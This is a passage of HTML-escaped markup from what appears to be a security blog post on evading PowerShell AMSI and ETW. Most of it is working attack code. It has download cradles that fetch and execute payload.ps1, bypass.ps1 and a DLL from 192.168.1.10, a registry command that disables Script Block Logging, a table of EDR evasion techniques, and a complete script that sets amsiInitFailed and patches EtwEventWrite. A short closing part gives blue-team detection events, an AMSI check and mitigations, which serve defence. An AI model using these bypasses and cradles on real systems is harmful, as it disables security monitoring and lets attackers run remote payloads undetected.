&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX (&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;New-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; Net.WebClient).DownloadString(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;http://192.168.1.10/bypass.ps1&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Or via IWR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$r&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; Invoke-WebRequest&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Uri &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;http://192.168.1.10/payload.ps1&amp;#x26;#x27; -UseBasicParsing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$r.Content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# .NET assembly in memory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bytes&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;New-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; Net.WebClient).DownloadData(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;http://192.168.1.10/tool.dll&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Reflection.Assembly&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::Load(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bytes&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;edr-detection-and-workarounds&quot;&gt;EDR Detection and Workarounds&lt;/h2&gt;
&lt;p&gt;Modern EDRs monitor beyond AMSI:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detection Vector&lt;/th&gt;&lt;th&gt;Evasion Technique&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;String Signatures&lt;/td&gt;&lt;td&gt;Obfuscation, encoding, concatenation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Script Block Logging&lt;/td&gt;&lt;td&gt;Patch &lt;code&gt;ScriptBlockLoggingEnabled&lt;/code&gt; via registry&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ETW (Event Tracing)&lt;/td&gt;&lt;td&gt;Patch &lt;code&gt;EtwEventWrite&lt;/code&gt; in &lt;code&gt;ntdll.dll&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Constrained Language Mode&lt;/td&gt;&lt;td&gt;Bypass via COM, &lt;code&gt;Add-Type&lt;/code&gt;, runspaces&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WLDP (WDAC)&lt;/td&gt;&lt;td&gt;More advanced process injection techniques&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Disable Script Block Logging (requires permission or CLM bypass)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Set-ItemProperty&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Path &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Name &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;EnableScriptBlockLogging&amp;#x26;#x27; -Value 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;complete-script-amsi--etw-bypass&quot;&gt;Complete Script: AMSI + ETW Bypass&lt;/h2&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env pwsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# amsi_etw_bypass.ps1 — AMSI + ETW neutralization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Usage: . .\amsi_etw_bypass.ps1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; Invoke-AmsiBypass&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $a&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;System.Management.Automation.&amp;#x26;#x27; + &amp;#x26;#x27;Am&amp;#x26;#x27; + &amp;#x26;#x27;siUtils&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $b&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $a.GetField&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;am&amp;#x26;#x27; + &amp;#x26;#x27;siInit&amp;#x26;#x27; + &amp;#x26;#x27;Failed&amp;#x26;#x27;, &amp;#x26;#x27;NonPublic,Static&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $b.SetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$true&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] AMSI     : disabled&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Green&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] AMSI bypass failed: $_&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Red&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; Invoke-ETWBypass&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $patch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Byte&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[]](&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xC3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# ret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $addr&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Diagnostics.Eventing.EventProvider&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].GetField(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;m_etwCallback&amp;#x26;#x27;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;NonPublic,Instance&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;        # P/Invoke to VirtualProtect + patch EtwEventWrite&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $ntdll&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $kernel32&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; Add-Type&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;MemberDefinition @&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;DllImport&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;quot;kernel32.dll&amp;#x26;quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; extern bool VirtualProtect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    IntPtr lpAddress, UIntPtr dwSize,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    uint flNewProtect, out uint lpflOldProtect);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;DllImport&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;quot;kernel32.dll&amp;#x26;quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; extern IntPtr GetProcAddress(IntPtr h, string name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;DllImport&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;quot;kernel32.dll&amp;#x26;quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;public &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;static&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; extern IntPtr LoadLibrary(string name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;@ -Name &amp;#x26;#x27;K32&amp;#x26;#x27; -PassThru&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $lib&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $kernel32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::LoadLibrary(&amp;#x26;quot;ntdll.dll&amp;#x26;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $func&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $kernel32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::GetProcAddress(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$lib&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &amp;#x26;quot;EtwEventWrite&amp;#x26;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $old&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;uint32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;        $kernel32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::VirtualProtect(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$func&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;UIntPtr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x40&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$old&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Out-Null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::WriteByte(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$func&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xC3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] ETW      : patched&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Green&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;        Write-Host&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;[!] ETW bypass skipped: $_&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Yellow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Invoke-AmsiBypass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Invoke-ETWBypass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Write-Host&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Session ready. OPSEC level: reduced.&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ForegroundColor Cyan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;detection-by-the-defender-side&quot;&gt;Detection by the Defender Side&lt;/h2&gt;
&lt;p&gt;If you are the Blue Team, monitor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event ID 4104&lt;/strong&gt; — Script Block Logging (PowerShell)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Event ID 4688&lt;/strong&gt; — Process creation with &lt;code&gt;powershell.exe -version 2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon Event 10&lt;/strong&gt; — Process access to &lt;code&gt;amsi.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Loading of &lt;code&gt;System.Management.Automation&lt;/code&gt; via Reflection&lt;/li&gt;
&lt;li&gt;Presence of strings such as &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, &lt;code&gt;amsiInitFailed&lt;/code&gt;, &lt;code&gt;VirtualProtect&lt;/code&gt; in logs&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Blue Team: check if AMSI is active in the session&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;System.Management.Automation.AmsiUtils&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    .GetField(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;amsiInitFailed&amp;#x26;#x27;,&amp;#x26;#x27;NonPublic,Static&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    .GetValue(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# $false = AMSI active | $true = AMSI compromised&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Enable &lt;strong&gt;PowerShell Constrained Language Mode&lt;/strong&gt; via WDAC/AppLocker&lt;/li&gt;
&lt;li&gt;Disable &lt;strong&gt;PowerShell 2.0&lt;/strong&gt; (&lt;code&gt;Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Script Block Logging&lt;/strong&gt; and &lt;strong&gt;Module Logging&lt;/strong&gt; (GPO)&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;EDR with memory protection&lt;/strong&gt; (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)&lt;/li&gt;
&lt;li&gt;Monitor &lt;strong&gt;ETW providers&lt;/strong&gt; for PowerShell: &lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;JEA (Just Enough Administration)&lt;/strong&gt; to restrict available commands&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&quot;&gt;AMSI — Microsoft Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell&quot;&gt;S3cur3Th1sSh1t/Amsi-Bypass-Powershell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;#x26;CK;: &lt;a href=&quot;https://attack.mitre.org/techniques/T1562/001/&quot;&gt;T1562.001 — Impair Defenses: Disable or Modify Tools&lt;/a&gt;&lt;/li&gt;
